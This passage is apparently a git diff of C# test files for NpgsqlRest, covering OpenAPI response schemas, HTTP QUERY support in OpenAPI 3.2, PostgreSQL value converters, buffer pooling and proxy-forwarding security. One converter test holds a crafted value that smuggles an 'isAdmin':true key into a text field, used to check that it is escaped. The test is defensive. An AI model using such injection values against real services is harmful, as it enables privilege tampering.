operation!["responses"]!.ToJsonString(); + } + + /// What the endpoint answers with: status, content type and body. + private async Task Answered(string path, string method = "GET") + { + using var request = new HttpRequestMessage(new HttpMethod(method), path); + using var response = await test.Client.SendAsync(request); + return $"{(int)response.StatusCode} {response.Content.Headers.ContentType?.MediaType} {await response.Content.ReadAsStringAsync()}"; + } + + private const string ThingProperties = """{"thingId":{"type":"integer","format":"int32"},"name":{"type":"string"}}"""; + + private static string Ok(string contentType, string schema) => + "{\"200\":{\"description\":\"Successful response\",\"content\":{\"" + contentType + "\":{\"schema\":" + schema + "}}}}"; + + private const string NoContent = """{"204":{"description":"No content"}}"""; + + [Fact] + public async Task Single_on_a_set_of_rows_is_one_object() + { + (await Answered("/api/oas-shape/things", "POST")).Should().Be("""200 application/json {"thingId":1,"name":"a"}"""); + Documented("/api/oas-shape/things", "post").Should().Be( + Ok("application/json", """{"type":"object","properties":""" + ThingProperties + "}")); + } + + [Fact] + public async Task Set_of_rows_is_an_array_of_objects() + { + (await Answered("/api/oas-shape-rows")).Should().Be("""200 application/json [{"thingId":1,"name":"a"}]"""); + Documented("/api/oas-shape-rows").Should().Be( + Ok("application/json", """{"type":"array","items":{"type":"object","properties":""" + ThingProperties + "}}")); + } + + [Fact] + public async Task Set_of_values_is_an_array_of_values() + { + (await Answered("/api/oas-shape-values")).Should().Be("""200 application/json ["a","b"]"""); + Documented("/api/oas-shape-values").Should().Be( + Ok("application/json", """{"type":"array","items":{"type":"string"}}""")); + } + + [Fact] + public async Task Single_on_a_set_of_values_is_one_value() + { + (await Answered("/api/oas-shape-single-value")).Should().Be("""200 application/json "a" """.TrimEnd()); + Documented("/api/oas-shape-single-value").Should().Be(Ok("application/json", """{"type":"string"}""")); + } + + [Fact] + public async Task Set_with_one_named_column_is_an_array_of_objects() + { + (await Answered("/api/oas-shape-one-column")).Should().Be("""200 application/json [{"val":"a"}]"""); + Documented("/api/oas-shape-one-column").Should().Be( + Ok("application/json", """{"type":"array","items":{"type":"object","properties":{"val":{"type":"string"}}}}""")); + } + + [Fact] + public async Task Void_annotation_has_no_body() + { + (await Answered("/api/oas-shape-void-annotation")).Should().Be("204 "); + Documented("/api/oas-shape-void-annotation").Should().Be(NoContent); + } + + [Fact] + public async Task Routine_that_returns_nothing_has_no_body() + { + (await Answered("/api/oas-shape-void")).Should().Be("204 "); + Documented("/api/oas-shape-void").Should().Be(NoContent); + } + + [Fact] + public async Task Text_value_is_plain_text() + { + (await Answered("/api/oas-shape-text")).Should().Be("200 text/plain x"); + Documented("/api/oas-shape-text").Should().Be(Ok("text/plain", """{"type":"string"}""")); + } + + [Fact] + public async Task Number_value_is_plain_text() + { + (await Answered("/api/oas-shape-int")).Should().Be("200 text/plain 42"); + Documented("/api/oas-shape-int").Should().Be(Ok("text/plain", """{"type":"integer","format":"int32"}""")); + } + + [Fact] + public async Task Boolean_value_is_plain_text_t_or_f() + { + (await Answered("/api/oas-shape-bool")).Should().Be("200 text/plain t"); + Documented("/api/oas-shape-bool").Should().Be(Ok("text/plain", """{"type":"string","enum":["t","f"]}""")); + } + + [Fact] + public async Task Json_value_is_any_json() + { + (await Answered("/api/oas-shape-json")).Should().Be("200 application/json [1,2]"); + Documented("/api/oas-shape-json").Should().Be(Ok("application/json", "{}")); + } + + [Fact] + public async Task Array_value_is_a_json_array() + { + (await Answered("/api/oas-shape-int-array")).Should().Be("200 application/json [1,2]"); + Documented("/api/oas-shape-int-array").Should().Be( + Ok("application/json", """{"type":"array","items":{"type":"integer","format":"int32"}}""")); + } + + [Fact] + public async Task Raw_is_text_and_not_an_array() + { + (await Answered("/api/oas-shape-raw")).Should().Be("""200 text/plain 1,"x" """.TrimEnd()); + Documented("/api/oas-shape-raw").Should().Be(Ok("text/plain", """{"type":"string"}""")); + } + + [Fact] + public async Task Bytea_value_is_bytes() + { + (await Answered("/api/oas-shape-bytes")).Should().Be("200 application/octet-stream abc"); + Documented("/api/oas-shape-bytes").Should().Be( + Ok("application/octet-stream", """{"type":"string","format":"binary"}""")); + } + + [Fact] + public async Task Record_without_columns_is_an_array_of_texts() + { + (await Answered("/api/oas-shape-record")).Should().Be("""200 application/json ["1","a"]"""); + Documented("/api/oas-shape-record").Should().Be( + Ok("application/json", """{"type":"array","items":{"type":"string"}}""")); + } + + [Fact] + public async Task Json_column_is_any_json() + { + (await Answered("/api/oas-shape-json-column")).Should().Be("""200 application/json [{"id":1,"data":[1,2]}]"""); + Documented("/api/oas-shape-json-column").Should().Be( + Ok("application/json", """{"type":"array","items":{"type":"object","properties":{"id":{"type":"integer","format":"int32"},"data":{}}}}""")); + } + + [Fact] + public async Task Array_of_composite_values_is_an_array_of_objects() + { + (await Answered("/api/oas-shape-parts")).Should().Be("""200 application/json [{"id":1,"parts":[{"id":10,"label":"x"}]}]"""); + Documented("/api/oas-shape-parts").Should().Be( + Ok("application/json", """{"type":"array","items":{"type":"object","properties":{"id":{"type":"integer","format":"int32"},"parts":{"type":"array","items":{"type":"object","properties":{"id":{"type":"integer","format":"int32"},"label":{"type":"string"}}}}}}}""")); + } + + [Fact] + public async Task Composite_value_is_its_fields_in_the_row() + { + (await Answered("/api/oas-shape-part-flat")).Should().Be("""200 application/json [{"code":1,"id":10,"label":"x"}]"""); + Documented("/api/oas-shape-part-flat").Should().Be( + Ok("application/json", """{"type":"array","items":{"type":"object","properties":{"code":{"type":"integer","format":"int32"},"id":{"type":"integer","format":"int32"},"label":{"type":"string"}}}}""")); + } + + [Fact] + public async Task Nested_composite_value_is_an_object_in_the_row() + { + (await Answered("/api/oas-shape-part-nested")).Should().Be("""200 application/json [{"code":1,"part":{"id":10,"label":"x"}}]"""); + Documented("/api/oas-shape-part-nested").Should().Be( + Ok("application/json", """{"type":"array","items":{"type":"object","properties":{"code":{"type":"integer","format":"int32"},"part":{"type":"object","properties":{"id":{"type":"integer","format":"int32"},"label":{"type":"string"}}}}}}""")); + } + + [Fact] + public async Task Table_format_is_the_content_type_of_the_format() + { + (await Answered("/api/oas-shape-html")).Should().StartWith("200 text/html "); + Documented("/api/oas-shape-html").Should().Be(Ok("text/html; charset=utf-8", """{"type":"string"}""")); + } + + [Fact] + public async Task Cache_invalidation_endpoint_says_whether_it_removed_something() + { + (await Answered("/api/oas-shape-cached/invalidate")).Should().Be("""200 application/json {"invalidated":false}"""); + Documented("/api/oas-shape-cached/invalidate").Should().Be( + """{"200":{"description":"Whether a cached response was removed","content":{"application/json":{"schema":{"type":"object","properties":{"invalidated":{"type":"boolean"}}}}}}}"""); + // the cached endpoint itself answers with the routine's rows + Documented("/api/oas-shape-cached").Should().Be( + Ok("application/json", """{"type":"array","items":{"type":"object","properties":{"id":{"type":"integer","format":"int32"},"name":{"type":"string"}}}}""")); + } + + [Fact] + public async Task Proxy_of_a_routine_that_returns_nothing_is_the_upstream_response() + { + (await Answered("/api/oas-shape-proxy")).Should().Be("200 text/plain x"); + Documented("/api/oas-shape-proxy").Should().Be( + """{"200":{"description":"The response of the upstream service","content":{"*/*":{}}}}"""); + } + + [Fact] + public async Task Content_type_from_a_parameter_is_not_known_in_advance() + { + (await Answered("/api/oas-shape-content-type?type=text/csv")).Should().Be("""200 text/csv 1,"x" """.TrimEnd()); + Documented("/api/oas-shape-content-type").Should().Be( + """{"200":{"description":"Successful response","content":{"*/*":{"schema":{"type":"string"}}}}}"""); + } + + [Fact] + public void Login_body_depends_on_the_authentication_scheme() + { + Documented("/api/oas-shape-login", "post").Should().Be( + """{"200":{"description":"Signed in. The body depends on the authentication scheme","content":{"*/*":{}}}}"""); + } + + [Fact] + public void Invalidation_endpoint_of_a_hidden_endpoint_is_hidden_too() + { + Document.Value["paths"]!["/api/oas-shape-hidden"].Should().BeNull(); + Document.Value["paths"]!["/api/oas-shape-hidden/invalidate"].Should().BeNull(); + } + + [Fact] + public void Invalidation_endpoint_has_the_tags_of_its_endpoint() + { + Document.Value["paths"]!["/api/oas-shape-tagged"]!["get"]!["tags"]!.ToJsonString().Should().Be("""["Things"]"""); + Document.Value["paths"]!["/api/oas-shape-tagged/invalidate"]!["get"]!["tags"]!.ToJsonString().Should().Be("""["Things"]"""); + } + + [Fact] + public void Upload_endpoint_takes_its_files_as_multipart_form_data() + { + Document.Value["paths"]!["/api/oas-shape-upload"]!["post"]!["requestBody"]!.ToJsonString().Should().Be( + """{"required":true,"content":{"multipart/form-data":{"schema":{"type":"object","properties":{"file":{"type":"array","items":{"type":"string","format":"binary"}}}}}}}"""); + // it answers with what its routine returns: here a json value + Documented("/api/oas-shape-upload", "post").Should().Be(Ok("application/json", "{}")); + } + + [Fact] + public async Task Null_value_that_is_answered_with_204_has_both_responses() + { + (await Answered("/api/oas-shape-null-value")).Should().Be("204 text/plain "); + Documented("/api/oas-shape-null-value").Should().Be( + """{"200":{"description":"Successful response","content":{"text/plain":{"schema":{"type":"string"}}}},"204":{"description":"No content: there is no value (NULL, or no row)"}}"""); + } + + [Fact] + public async Task Single_without_a_row_that_is_answered_with_204_has_both_responses() + { + (await Answered("/api/oas-shape-no-row")).Should().Be("204 application/json "); + Documented("/api/oas-shape-no-row").Should().Be( + """{"200":{"description":"Successful response","content":{"application/json":{"schema":{"type":"object","properties":""" + ThingProperties.Replace("thingId", "id") + """}}}},"204":{"description":"No content: there is no value (NULL, or no row)"}}"""); + } + + [Fact] + public async Task Raw_array_value_is_text_and_not_a_json_array() + { + (await Answered("/api/oas-shape-raw-array")).Should().Be("200 text/plain {1,2}"); + Documented("/api/oas-shape-raw-array").Should().Be(Ok("text/plain", """{"type":"string"}""")); + } + } +} diff --git a/NpgsqlRestTests/OpenApiTests/SpecVersion32Tests.cs b/NpgsqlRestTests/OpenApiTests/SpecVersion32Tests.cs new file mode 100644 index 00000000..c003514a --- /dev/null +++ b/NpgsqlRestTests/OpenApiTests/SpecVersion32Tests.cs @@ -0,0 +1,230 @@ +using System.Text.Json.Nodes; +using NpgsqlRest.OpenAPI; + +namespace NpgsqlRestTests +{ + public static partial class Database + { + public static void OpenApiSpecVersion32Tests() + { + script.Append(""" +create function openapi_q32_body(_term text, _limit int default 10) +returns table (id int, name text) +language sql as $$ select 1, _term $$; +comment on function openapi_q32_body(text, int) is ' +Search by a term. +The term travels in the request body. +HTTP QUERY +'; + +create function openapi_q32_no_params() returns text language sql as $$ select 'x' $$; +comment on function openapi_q32_no_params() is 'HTTP QUERY'; + +create function openapi_q32_in_path(_category int, _term text) returns text language sql as $$ select _term $$; +comment on function openapi_q32_in_path(int, text) is ' +HTTP QUERY /api/openapi-q32/{_category}/search +'; + +create function openapi_q32_query_string(_term text) returns text language sql as $$ select _term $$; +comment on function openapi_q32_query_string(text) is ' +HTTP QUERY +param_type query_string +'; + +create function openapi_q32_shared_get() returns text language sql as $$ select 'get' $$; +comment on function openapi_q32_shared_get() is 'HTTP GET /api/openapi-q32/shared'; +create function openapi_q32_shared_query(_term text) returns text language sql as $$ select _term $$; +comment on function openapi_q32_shared_query(text) is 'HTTP QUERY /api/openapi-q32/shared'; + +create function openapi_q32_hidden(_term text) returns text language sql as $$ select _term $$; +comment on function openapi_q32_hidden(text) is ' +HTTP QUERY +openapi hide +'; + +create function openapi_q32_tagged(_term text) returns text language sql as $$ select _term $$; +comment on function openapi_q32_tagged(text) is ' +HTTP QUERY +openapi tags Partner API, Search +'; +"""); + } + } +} + +namespace NpgsqlRestTests.OpenApiTests +{ + /// + /// SpecVersion "3.2": the document says openapi 3.2.0 and documents endpoints of the HTTP QUERY method under + /// the "query" key of their path, which OpenAPI 3.0 and 3.1 have no place for. + /// + [Collection("TestFixture")] + public class SpecVersion32Tests(Setup.TestFixture test) + { + private static JsonNode Load(string outputPath) + { + var filePath = Path.Combine(outputPath, "openapi.json"); + File.Exists(filePath).Should().BeTrue($"Expected file at {filePath}"); + return JsonNode.Parse(File.ReadAllText(filePath))!; + } + + private static JsonNode Doc30 => Load(Setup.Program.OpenApiOutputPath); + private static JsonNode Doc31 => Load(Setup.Program.OpenApi31OutputPath); + private static JsonNode Doc32 => Load(Setup.Program.OpenApi32OutputPath); + + [Fact] + public void Document_says_openapi_3_2_0() + { + OpenApiSpecVersions.V32.Should().Be("3.2.0"); + Doc32["openapi"]!.GetValue().Should().Be("3.2.0"); + } + + [Theory] + [InlineData("3.2")] + [InlineData(" 3.2 ")] + [InlineData("3.2\t")] + public void Spec_version_3_2_is_accepted(string value) + { + var act = () => new OpenApi(new OpenApiOptions { SpecVersion = value }); + act.Should().NotThrow(); + } + + [Theory] + [InlineData("3.2.0")] + [InlineData("3.3")] + [InlineData("32")] + [InlineData("")] + [InlineData(null)] + public void Another_value_fails_and_the_message_lists_all_three(string? value) + { + var act = () => new OpenApi(new OpenApiOptions { SpecVersion = value! }); + act.Should().Throw().WithMessage( + $"Invalid OpenApiOptions.SpecVersion value '{value}'. Valid values are \"3.0\" (emits openapi: 3.0.3), \"3.1\" (emits openapi: 3.1.1) and \"3.2\" (emits openapi: 3.2.0)."); + } + + [Fact] + public void Without_the_query_operations_the_document_is_the_3_0_document() + { + var doc30 = Doc30; + var doc32 = Doc32; + doc30["openapi"] = "normalized"; + doc32["openapi"] = "normalized"; + + var paths = doc32["paths"]!.AsObject(); + var removed = 0; + foreach (var (path, item) in paths.ToList()) + { + if (item!.AsObject().Remove("query")) + { + removed++; + } + if (item.AsObject().Count == 0) + { + paths.Remove(path); + } + } + removed.Should().BeGreaterThan(5); + doc32.ToJsonString().Should().Be(doc30.ToJsonString()); + } + + [Theory] + [InlineData("/api/openapi-q32-body")] + [InlineData("/api/openapi-q32-no-params")] + [InlineData("/api/openapi-q32/{_category}/search")] + [InlineData("/api/openapi-q32-query-string")] + [InlineData("/api/openapi-q32-tagged")] + [InlineData("/api/tsclient-test/query-search")] + public void Earlier_versions_leave_query_endpoints_out(string path) + { + Doc30["paths"]!.AsObject().ContainsKey(path).Should().BeFalse(); + Doc31["paths"]!.AsObject().ContainsKey(path).Should().BeFalse(); + Doc32["paths"]![path]!["query"].Should().NotBeNull(); + } + + [Fact] + public void Query_operation_with_its_parameters_in_the_body() + { + Doc32["paths"]!["/api/openapi-q32-body"]!.ToJsonString().Should().Be( + """{"query":{"summary":"Search by a term.","description":"The term travels in the request body.","tags":["public"],"operationId":"public_openapi_q32_body_query","requestBody":{"required":true,"content":{"application/json":{"schema":{"type":"object","properties":{"term":{"type":"string"},"limit":{"type":"integer","format":"int32"}},"required":["term"]}}}},"responses":{"200":{"description":"Successful response","content":{"application/json":{"schema":{"type":"array","items":{"type":"object","properties":{"id":{"type":"integer","format":"int32"},"name":{"type":"string"}}}}}}}}}}"""); + } + + [Fact] + public void Query_operation_without_parameters() + { + Doc32["paths"]!["/api/openapi-q32-no-params"]!.ToJsonString().Should().Be( + """{"query":{"summary":"Function public.openapi_q32_no_params","tags":["public"],"operationId":"public_openapi_q32_no_params_query","responses":{"200":{"description":"Successful response","content":{"text/plain":{"schema":{"type":"string"}}}}}}}"""); + } + + [Fact] + public void Query_operation_with_a_path_parameter() + { + Doc32["paths"]!["/api/openapi-q32/{_category}/search"]!.ToJsonString().Should().Be( + """{"query":{"summary":"Function public.openapi_q32_in_path","tags":["public"],"operationId":"public_openapi_q32_in_path_query","requestBody":{"required":true,"content":{"application/json":{"schema":{"type":"object","properties":{"term":{"type":"string"}},"required":["term"]}}}},"parameters":[{"name":"category","in":"path","required":true,"schema":{"type":"integer","format":"int32"}}],"responses":{"200":{"description":"Successful response","content":{"text/plain":{"schema":{"type":"string"}}}}}}}"""); + } + + [Fact] + public void Query_operation_with_parameters_in_the_query_string() + { + Doc32["paths"]!["/api/openapi-q32-query-string"]!.ToJsonString().Should().Be( + """{"query":{"summary":"Function public.openapi_q32_query_string","tags":["public"],"operationId":"public_openapi_q32_query_string_query","parameters":[{"name":"term","in":"query","required":true,"schema":{"type":"string"}}],"responses":{"200":{"description":"Successful response","content":{"text/plain":{"schema":{"type":"string"}}}}}}}"""); + } + + [Fact] + public void Query_and_get_share_a_path() + { + var item = Doc32["paths"]!["/api/openapi-q32/shared"]!.AsObject(); + item.Select(p => p.Key).Should().BeEquivalentTo(["get", "query"]); + item["get"]!["operationId"]!.GetValue().Should().Be("public_openapi_q32_shared_get_get"); + item["query"]!["operationId"]!.GetValue().Should().Be("public_openapi_q32_shared_query_query"); + + // in the earlier versions the path is there with its GET only + Doc30["paths"]!["/api/openapi-q32/shared"]!.AsObject().Select(p => p.Key).Should().BeEquivalentTo(["get"]); + Doc31["paths"]!["/api/openapi-q32/shared"]!.AsObject().Select(p => p.Key).Should().BeEquivalentTo(["get"]); + } + + [Fact] + public void A_hidden_query_endpoint_stays_hidden() + { + Doc32["paths"]!.AsObject().ContainsKey("/api/openapi-q32-hidden").Should().BeFalse(); + } + + [Fact] + public void Tags_apply_to_a_query_operation() + { + Doc32["paths"]!["/api/openapi-q32-tagged"]!["query"]!["tags"]!.ToJsonString().Should().Be("[\"Partner API\",\"Search\"]"); + } + + [Fact] + public async Task The_documented_endpoints_answer_to_the_query_method() + { + using var body = new HttpRequestMessage(new HttpMethod("QUERY"), "/api/openapi-q32-body") + { + Content = new StringContent("""{"term":"abc"}""", Encoding.UTF8, "application/json") + }; + using var bodyResponse = await test.Client.SendAsync(body); + bodyResponse.StatusCode.Should().Be(HttpStatusCode.OK); + (await bodyResponse.Content.ReadAsStringAsync()).Should().Be("""[{"id":1,"name":"abc"}]"""); + + using var path = new HttpRequestMessage(new HttpMethod("QUERY"), "/api/openapi-q32/7/search") + { + Content = new StringContent("""{"term":"in path"}""", Encoding.UTF8, "application/json") + }; + using var pathResponse = await test.Client.SendAsync(path); + pathResponse.StatusCode.Should().Be(HttpStatusCode.OK); + (await pathResponse.Content.ReadAsStringAsync()).Should().Be("in path"); + + using var query = new HttpRequestMessage(new HttpMethod("QUERY"), "/api/openapi-q32-query-string?term=qs"); + using var queryResponse = await test.Client.SendAsync(query); + queryResponse.StatusCode.Should().Be(HttpStatusCode.OK); + (await queryResponse.Content.ReadAsStringAsync()).Should().Be("qs"); + + using var shared = new HttpRequestMessage(new HttpMethod("QUERY"), "/api/openapi-q32/shared") + { + Content = new StringContent("""{"term":"shared"}""", Encoding.UTF8, "application/json") + }; + using var sharedResponse = await test.Client.SendAsync(shared); + (await sharedResponse.Content.ReadAsStringAsync()).Should().Be("shared"); + (await test.Client.GetStringAsync("/api/openapi-q32/shared")).Should().Be("get"); + } + } +} diff --git a/NpgsqlRestTests/ParserTests/PgConvertersTests.cs b/NpgsqlRestTests/ParserTests/PgConvertersTests.cs index 311bcf63..4f70ad1d 100644 --- a/NpgsqlRestTests/ParserTests/PgConvertersTests.cs +++ b/NpgsqlRestTests/ParserTests/PgConvertersTests.cs @@ -4,6 +4,21 @@ public class PgConvertersTests { #region PgArrayToJsonArray Tests + /// + /// Regression: an element ending in a backslash is sent by PostgreSQL as "a\\" - its closing quote follows an + /// (escaped) backslash. That quote used to be taken as escaped itself, so the rest of the array was mis-parsed. + /// + [Fact] + public void PgArrayToJsonArray_ElementEndingInBackslash_KeepsElementBoundaries() + { + var descriptor = new TypeDescriptor("text[]"); + ReadOnlySpan input = "{\"a\\\\\",\"b,c\",\"d\\\"e\"}"; // {"a\\","b,c","d\"e"} + + var result = PgConverters.PgArrayToJsonArray(input, descriptor); + + result.ToString().Should().Be("[\"a\\\\\",\"b,c\",\"d\\\"e\"]"); // ["a\\","b,c","d\"e"] + } + [Fact] public void PgArrayToJsonArray_EmptyArray_ReturnsEmptyJsonArray() { @@ -476,16 +491,39 @@ public void PgUnknownToJsonArray_EscapedQuotes_HandlesCorrectly() } [Fact] - public void PgUnknownToJsonArray_InvalidInput_ReturnsOriginal() + public void PgUnknownToJsonArray_NonRecordInput_ReturnsJsonString() { - // Arrange - not starting with parenthesis + // Arrange - not a record (enum / domain text): written as an escaped JSON string, never raw ReadOnlySpan input = "a,b,c"; // Act var result = PgConverters.PgUnknownToJsonArray(ref input); // Assert - result.ToString().Should().Be("a,b,c"); + result.ToString().Should().Be("\"a,b,c\""); + } + + [Fact] + public void PgUnknownToJsonArray_NonRecordInputWithQuotes_IsEscaped() + { + // Arrange - a domain-over-text value trying to inject JSON keys + ReadOnlySpan input = "x\",\"isAdmin\":true,\"y\":\"z"; + + // Act + var result = PgConverters.PgUnknownToJsonArray(ref input); + + // Assert + result.ToString().Should().Be("\"x\\\",\\\"isAdmin\\\":true,\\\"y\\\":\\\"z\""); + } + + [Fact] + public void PgUnknownToJsonArray_EmptyInput_ReturnsEmptyJsonString() + { + ReadOnlySpan input = ""; + + var result = PgConverters.PgUnknownToJsonArray(ref input); + + result.ToString().Should().Be("\"\""); } [Fact] diff --git a/NpgsqlRestTests/ParserTests/PgUtf8ConvertersTests.cs b/NpgsqlRestTests/ParserTests/PgUtf8ConvertersTests.cs new file mode 100644 index 00000000..c0263ae1 --- /dev/null +++ b/NpgsqlRestTests/ParserTests/PgUtf8ConvertersTests.cs @@ -0,0 +1,192 @@ +using System.Text; + +namespace NpgsqlRestTests.ParserTests; + +/// +/// The UTF-8 converters (used to render rows as bytes, without a string per value) must produce exactly what the +/// string-based converters produce, once that is encoded as UTF-8. +/// +public class PgUtf8ConvertersTests +{ + private static string Utf8(Action write) + { + var buffer = Utf8Buffer.Rent(); + try + { + write(buffer); + return Encoding.UTF8.GetString(buffer.WrittenSpan); + } + finally + { + Utf8Buffer.Return(buffer); + } + } + + private static string JsonStringUtf8(string value) => + Utf8(b => PgUtf8Converters.AppendJsonString(b, Encoding.UTF8.GetBytes(value))); + + [Fact] + public void JsonString_matches_SerializeString_for_every_BMP_character() + { + var mismatches = new List(); + for (int c = 0; c <= 0xFFFF; c++) + { + if (char.IsSurrogate((char)c)) + { + continue; // not encodable on their own; pairs are covered below + } + // on its own, and in the middle of text (so the "first character to escape" offset is not 0) + foreach (var text in new[] { ((char)c).ToString(), "ab" + (char)c + "cd" }) + { + var expected = PgConverters.SerializeString(text); + var actual = JsonStringUtf8(text); + if (expected != actual && mismatches.Count < 10) + { + mismatches.Add($"U+{c:X4}: expected {expected} actual {actual}"); + } + } + } + mismatches.Should().BeEmpty(); + } + + [Theory] + [InlineData("")] + [InlineData("plain ascii")] + [InlineData("quote \" backslash \\ slash / tab \t newline \n return \r")] + [InlineData("žćčđš ünïcödé — “quotes” €")] + [InlineData("emoji 😀 and 🇭🇷 and 𝄞")] + [InlineData(" & more")] + [InlineData("\u0000\u0001\u001f\u007f\u0080\u009f\u00a0\u2028\u2029\ufeff\ufffd")] + [InlineData("{\"json\": [1, 2, {\"nested\": \"value\"}]}")] + public void JsonString_matches_SerializeString(string text) + { + JsonStringUtf8(text).Should().Be(PgConverters.SerializeString(text)); + } + + [Fact] + public void JsonString_matches_SerializeString_for_long_and_random_text() + { + var random = new Random(12345); + var alphabet = "abc XYZ 019 \"\\\n\t\u0001žš€😀\u00a0\u2028".EnumerateRunes().ToArray(); + for (int n = 0; n < 500; n++) + { + var sb = new StringBuilder(); + int length = random.Next(0, 300); + for (int i = 0; i < length; i++) + { + sb.Append(alphabet[random.Next(alphabet.Length)].ToString()); + } + var text = sb.ToString(); + JsonStringUtf8(text).Should().Be(PgConverters.SerializeString(text)); + } + var big = new string('x', 100_000) + "\"" + new string('y', 100_000); + JsonStringUtf8(big).Should().Be(PgConverters.SerializeString(big)); + } + + public static IEnumerable ArrayCases() + { + string[] types = ["text[]", "varchar[]", "integer[]", "numeric[]", "boolean[]", "timestamp[]", "timestamptz[]", "date[]", "json[]", "jsonb[]", "uuid[]"]; + string[] inputs = + [ + "{}", + "{a}", + "{a,b,c}", + "{1,2,3}", + "{1.5,-2,NULL}", + "{t,f,NULL}", + "{NULL}", + "{\"NULL\",NULL,null}", + "{\"a b\",\"c,d\",\"e\\\"f\",\"g\\\\h\"}", + "{\"a\\\\\",\"b,c\",\"d\\\"e\"}", + "{\"\",\"x\"}", + "{{1,2},{3,4}}", + "{{a,b},{c,NULL}}", + "{{{1},{2}},{{3},{4}}}", + "{\"2026-01-01 10:00:00\",\"2026-01-02 11:30:00+02\"}", + "{2026-01-01,2026-12-31}", + "{\"{\\\"a\\\": 1}\",\"{\\\"b\\\": [1, 2]}\"}", + "{žćč,\"ünï cödé\",😀}", + "{\"line\nbreak\",\"tab\tchar\"}", + "{a0eebc99-9c0b-4ef8-bb6d-6bb9bd380a11,NULL}", + "not an array", + "", + "{", + "{a", + ]; + foreach (var type in types) + { + foreach (var input in inputs) + { + yield return [type, input]; + } + } + } + + [Theory] + [MemberData(nameof(ArrayCases))] + public void Array_matches_PgArrayToJsonArray(string type, string input) + { + var descriptor = new TypeDescriptor(type); + var expected = PgConverters.PgArrayToJsonArray(input, descriptor).ToString(); + var actual = Utf8(b => PgUtf8Converters.AppendPgArrayAsJson(b, Encoding.UTF8.GetBytes(input), descriptor)); + actual.Should().Be(expected); + } + + [Theory] + [InlineData("")] + [InlineData("plain")] + [InlineData("with \"quotes\" inside")] + [InlineData("\"\"")] + [InlineData("žćč \"😀\"")] + public void CsvQuoted_matches_QuoteText(string text) + { + Utf8(b => PgUtf8Converters.AppendCsvQuoted(b, Encoding.UTF8.GetBytes(text))).Should().Be(PgConverters.QuoteText(text)); + } + + [Theory] + [InlineData("2026-01-01 10:00:00+00")] + [InlineData("2026-01-01")] + [InlineData("10:00:00")] + [InlineData("infinity")] + [InlineData("")] + public void QuotedDateTime_matches_QuoteDateTime(string text) + { + ReadOnlySpan span = text; + var expected = PgConverters.QuoteDateTime(ref span); + Utf8(b => PgUtf8Converters.AppendQuotedDateTime(b, Encoding.UTF8.GetBytes(text))).Should().Be(expected); + } + + [Fact] + public void Utf8Buffer_appends_and_grows() + { + var buffer = Utf8Buffer.Rent(); + try + { + buffer.Append('{'); + buffer.Append("\"ključ\":"); + buffer.Append("vrijednost 😀".AsSpan()); + buffer.Append((byte)','); + buffer.Append(new string('z', 5000)); // forces growth + buffer.Append('é'); + buffer.ToString().Should().Be("{\"ključ\":vrijednost 😀," + new string('z', 5000) + "é"); + buffer.Clear(); + buffer.Length.Should().Be(0); + } + finally + { + Utf8Buffer.Return(buffer); + } + } + + [Fact] + public void Utf8Buffer_is_reused_from_the_pool() + { + var first = Utf8Buffer.Rent(); + first.Append("used"); + Utf8Buffer.Return(first); + var second = Utf8Buffer.Rent(); + second.Should().BeSameAs(first); + second.Length.Should().Be(0); + Utf8Buffer.Return(second); + } +} diff --git a/NpgsqlRestTests/ParserTests/StringBuilderPoolTests.cs b/NpgsqlRestTests/ParserTests/StringBuilderPoolTests.cs new file mode 100644 index 00000000..26197223 --- /dev/null +++ b/NpgsqlRestTests/ParserTests/StringBuilderPoolTests.cs @@ -0,0 +1,47 @@ +using System.Text; + +namespace NpgsqlRestTests.ParserTests; + +/// +/// Regression: a returned builder is reused by the next Rent. Rent used to read the slot below the top of the pool, so +/// the most recently returned builder was never reused (with one pooled builder, every Rent allocated a new one). +/// +public class StringBuilderPoolTests +{ + [Fact] + public void Returned_builder_is_reused_by_the_next_rent() + { + var first = StringBuilderPool.Rent(); + first.Append("used"); + StringBuilderPool.Return(first); + + var second = StringBuilderPool.Rent(); + second.Should().BeSameAs(first); + second.Length.Should().Be(0, "a pooled builder is cleared on return"); + StringBuilderPool.Return(second); + } + + [Fact] + public void Builders_come_back_in_last_in_first_out_order() + { + var a = StringBuilderPool.Rent(); + var b = StringBuilderPool.Rent(); + StringBuilderPool.Return(a); + StringBuilderPool.Return(b); + + StringBuilderPool.Rent().Should().BeSameAs(b); + StringBuilderPool.Rent().Should().BeSameAs(a); + StringBuilderPool.Return(a); + StringBuilderPool.Return(b); + } + + [Fact] + public void Oversized_builders_are_not_pooled() + { + var big = new StringBuilder(64 * 1024); + StringBuilderPool.Return(big); + var next = StringBuilderPool.Rent(); + next.Should().NotBeSameAs(big); + StringBuilderPool.Return(next); + } +} diff --git a/NpgsqlRestTests/ProxyTests/ProxyForwardingSecurityTests.cs b/NpgsqlRestTests/ProxyTests/ProxyForwardingSecurityTests.cs new file mode 100644 index 00000000..af844a51 --- /dev/null +++ b/NpgsqlRestTests/ProxyTests/ProxyForwardingSecurityTests.cs @@ -0,0 +1,149 @@ +using WireMock.Server; +using WireMock.RequestBuilders; +using WireMock.ResponseBuilders; + +namespace NpgsqlRestTests; + +public static partial class Database +{ + public static void ProxyForwardingSecurityTests() + { + script.Append(@" +create function proxy_sec_user_params( + _user_id text default null, + _proxy_status_code int default null, + _proxy_body text default null +) +returns json +language sql +as $$ select json_build_object('proxy_status', _proxy_status_code) $$; +comment on function proxy_sec_user_params(text, int, text) is 'HTTP GET +user_params +proxy'; + +create function proxy_sec_user_context( + _proxy_status_code int default null, + _proxy_body text default null +) +returns json +language sql +as $$ select json_build_object('proxy_status', _proxy_status_code) $$; +comment on function proxy_sec_user_context(int, text) is 'HTTP GET +user_context +proxy'; + +create function proxy_sec_passthrough() +returns void +language plpgsql +as $$ begin raise exception 'not called'; end; $$; +comment on function proxy_sec_passthrough() is 'HTTP GET +proxy'; + "); + } +} + +/// +/// Security regressions for proxy forwarding: +/// - server-filled values (user parameters, user context headers) must replace client-supplied ones, never be +/// appended after them, and clients must not be able to supply them at all when anonymous; +/// - the caller's credentials (Cookie, Authorization) are not forwarded to the upstream by default, and the +/// upstream cannot set cookies (Set-Cookie) on this application's origin by default. +/// Login uses proxy_with_user_params_login (ProxyWithUserParamsTest): name_identifier 999, name proxyuser. +/// +[Collection("TestFixture")] +public class ProxyForwardingSecurityTests : IClassFixture +{ + private readonly TestFixture _test; + private readonly WireMockServer _server; + + public ProxyForwardingSecurityTests(TestFixture test, ProxyWireMockFixture wireMock) + { + _test = test; + _server = wireMock.Server; + _server.Reset(); + _server + .Given(Request.Create().UsingGet()) + 